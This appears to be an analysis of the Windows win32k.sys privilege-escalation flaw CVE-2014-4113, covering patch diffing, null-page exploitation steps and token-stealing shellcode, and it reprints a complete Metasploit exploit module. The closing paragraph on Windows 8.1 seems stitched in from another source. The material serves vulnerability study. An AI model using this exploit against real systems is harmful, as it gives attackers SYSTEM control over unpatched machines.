You are on page 1of 8

CVE-2014-4113

(Hurricane Panda)

What is CVE-2014-4113
Zero-day flaw fixed in the October Patch update is CVE-2014-4113, which is privilege escalation vulnerability. This flaw
too has been actively exploiting users. Security firm Crowd strike is attributing attacks leveraging CVE-2014-4113 to a
Chinese malware group that it refers to as Hurricane Panda.Crowdstrike isn't the only security vendor that detected
CVE-2014-4113, as Fire Eye also reported the issue to Microsoft.
win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Windows Vista SP2,
Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012
Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application,
as exploited in the wild in October 2014, aka "Win32k.sys Elevation of Privilege Vulnerability."

Vulnerable products

Microsoft Windows Vista Service Pack 2 0

Microsoft Windows Server 2008 R2 for x64-based Systems


SP1

Microsoft Windows Server 2008 for x64-based Systems SP2

Microsoft Windows Server 2008 for Itanium-based Systems


SP2

Microsoft Windows Server 2008 for 32-bit Systems SP2

Microsoft Windows Server 2003 Itanium SP2

Microsoft Windows 7 for x64-based Systems SP1

Microsoft Windows 7 for 32-bit Systems SP1

Microsoft Exchange Server 2003 SP2

Vulnerability & Exploit Details


The 32-bit exploit triggers an out-of-bounds memory access that dereferences offsets from a high memory
address, and inadvertently wraps into the null page. In user-mode, memory dereferences within the null
page are generally assumed to be non-exploitable. Since the null page is usually not mapped the
exception being 16-bit legacy applications emulated by ntvdm.exenull pointer dereferences will simply

crash the running process. In contrast, memory dereferences within the null page in the kernel are
commonly exploited because the attacker can first map the null page from user-mode, as is the case with
this exploits. The steps taken for successful 32-bit exploitation are:
1)

Map the null page: ntdll!ZwAllocateVirtualMemory(,BaseAddress=01, )

2)

Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the
kernel

3)

Trigger vulnerability

4)

Attackers callback in win32k!tagWND.lpfnWndProc executes in kernel-mode Callback overwrites


EPROCESS.Token to elevate privileges

5)

Spawns a child process that inherits the elevated access token

32-bit Windows 8 and later users are not affected by this exploit. The Windows 8 Null Page protection prohibits usermode processes from mapping the null page and causes the exploits to fail.In the 64-bit version of the exploit,
dereferencing offsets from a high 32-bit memory address do not wrap, as it is well within the addressable memory
range for a 64-bit user-mode process. As such, the Null Page protection implemented in Windows versions 7 (after
MS13-031) and later does not apply. The steps taken by the 64-bit exploit variants are:
1)

Map the null page: ntdll!ZwAllocateVirtualMemory(,BaseAddress=01, )

2)

Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the
kernel

3)

Trigger vulnerability

4)

Attackers callback in win32k!tagWND.lpfnWndProc executes in kernel-mode Callback overwrites


EPROCESS.Token to elevate privileges

5)

Spawns a child process that inherits the elevated access token

64-bit Windows 8 and later users are not affected by this exploit. Supervisor Mode Execution Prevention (SMEP)
blocks the attackers user-mode callback from executing within kernel-mode and causes the exploits to fail.

Vulnerability and Patch Analysis

Microsoft recently patched some vulnerability; vulnerabilities, Lets Go through the Vulnerability CVE2014-4113.which are local kernel vulnerability that successful exploitation would give you SYSTEM
access.
Lets Go
I Got Vulnerable and patched (KB3000061) win32k.sys and Put them in two separate folders and
Placed each them versions of win32k.sys inside them
Using IDA I have loaded them and saved. Then I had to find out what is Change In Patched version,
TurboDiff I used, simply gives plain-text table Of changed functions.
For this patch I got 25 changed functions, Started checking each changed functions. In Internal
function of xxxHandleMenuMessages
Found patched versions have additional check for returned value from
xxxMNFindWindowFromPoint (internal function).
That check was a call to IsMFMWFPWindow function and parameter to IsMFMWFPWindow was
exactly return value of xxxMNFindWindowFromPoint.

So I figured out that here something was wrong and Microsoft added a code to check return value of
xxxMNFindWindowFromPoint.
Check Out this vulnerable win32k.sys

Check Out this Patched win32k.sys

Take a look at both functions

Patched Part

Then started to think about exploitation method for this vulnerability, how to trigger this vulnerability and make
xxxHandleMenuMessages API to call xxxSendMessage with an invalid HANDLE. Found that the vulnerability is related to
window system and possible NULL value during xxxHandleMenuMessage process, I just remembered this. For exploiting that,
you had to map zero/null page, create a fake object at zero page and trigger the vulnerability. So this was the general idea, now
had to find a way to trigger this vulnerability by causing xxxHandleMenuMessage call xxxSendMessage with a NULL handle.
Fortunately found PoC published online for this vulnerability, instead of trying to solve it on my own as a practice/challenge,
just downloaded the sample and started to analyze it. Lots of things was as I thought, the only missing part in chain of
exploitation was how to make that NULL in xxxHandleMenuMessage. It was done by hooking and altering parameters in user
mode. So basically the PoC deletes the menu and returns -5,so xxxSendMessage will use a tagWND object starting from -5
(0xFFFFFFFB) to positive values which is in user-mode.
The PoC allocated zero-page using ZwAllocateVirtualMemory with 0x01 as base address and writes a fake tagWND object
here. Windows allows zero page allocation for 16-bit application compatibility/support. So the tagWND object have two
important parts, one is WS_EXECUTE_IN_KERNEL flag which is at offset ((BYTE*)&pWnd->state)+0x02 and the other one is
callback function which is at offset 0x60. So by setting 0x16 to 0x04, you are telling kernel that the callback functions at 0x60
needs to be executed in kernel. So the PoC modifies return value (returns -5) by hooking, but before that, it writes 0x04 to 0x16
- 0x05 (0x11) offset (WS_EXECUTE_IN_KERNEL flag) and address of shell code at 0x60 - 0x05 (0x5B).
The shell code does nothing other than replacing current process
token with SYSTEM process (pid = 4) token. Therefore, any process
created by current process will have SYSTEM token too.

Shell code

Cyan color holds address of shell code and yellow background holds WS_EXECUTE_IN_KERNEL flag. For triggering the
vulnerability, simply it creates two layer popup menu (one main popup menu and one sub menu inside it), then it calls
TrackPopupMenu to trigger the hook. In hook function, it replaces window handler using SetWindowLongA API.

New handler function simply deletes popup menu and returns 0xFFFFFFFB (-5)
That was it. Using this simple hooking and altering popup
menu, kernel will call and execute callback function at null
page, in kernel space. I think I've said enough about this bug.
So please update your OS, specially servers, as soon as
possible, because lowest access (for example ASP.NET shell
with ASP.NET user account) can get SYSTEM access using this
vulnerability.

Metasploit Exploit: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include
include
include
include
include

Msf::Post::File
Msf::Post::Windows::Priv
Msf::Post::Windows::Process
Msf::Post::Windows::FileInfo
Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name'
=> 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description'
=> %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows

2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License'
=> MSF_LICENSE,
'Author'
=>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre' # msf module (x64 target)
],
'Arch'
=> [ ARCH_X86, ARCH_X86_64 ],
'Platform'
=> 'win',
'SessionTypes'
=> [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets'
=>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload'
=>
{
'Space'
=> 4096,
'DisableNops' => true
},
'References'
=>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerabilitycve-2014-4113/']
],
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0
}))
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
if arch == ARCH_X86
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
else
return Exploit::CheckCode::Detected if build == 7601
end
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

print_status('Launching notepad to host the exploit...')


notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

It should come as no surprise that it is possible to exploit a kernel vulnerability where we are able to fully control
the content of a moderately large kernel structure such as win32k!tagWND. The described exploit was specifically
developed on Windows 8.1, but it turned out that the same technique worked on Windows 8 as well. Compared to
the public exploit where the function returning the bad win32k!tagWND reference and the call to the overwritten
function pointer is pretty close to each other, this is different for the described technique on Windows 8 and
Windows 8.1. A lot of code is executed until the code is reached which finally triggers the memory corruption. Since
we didnt fully reverse engineer all the code in between, there could be certain unexpected code paths which could
make the described exploit fail. Although the exploit worked quite reliably in our tests, we dont make any claims
for a hundred percent reliable exploit. So consider it proof of concept In summary, even with the presence of
protection mechanisms like SMEP, with full control over a moderately large kernel structure there are enough
possibilities to trigger a simple memory .corruption in order to achieve the desired goal and be able to escalate
privileges without overwriting any function pointers or executing any shell code at all.

Thank you

You might also like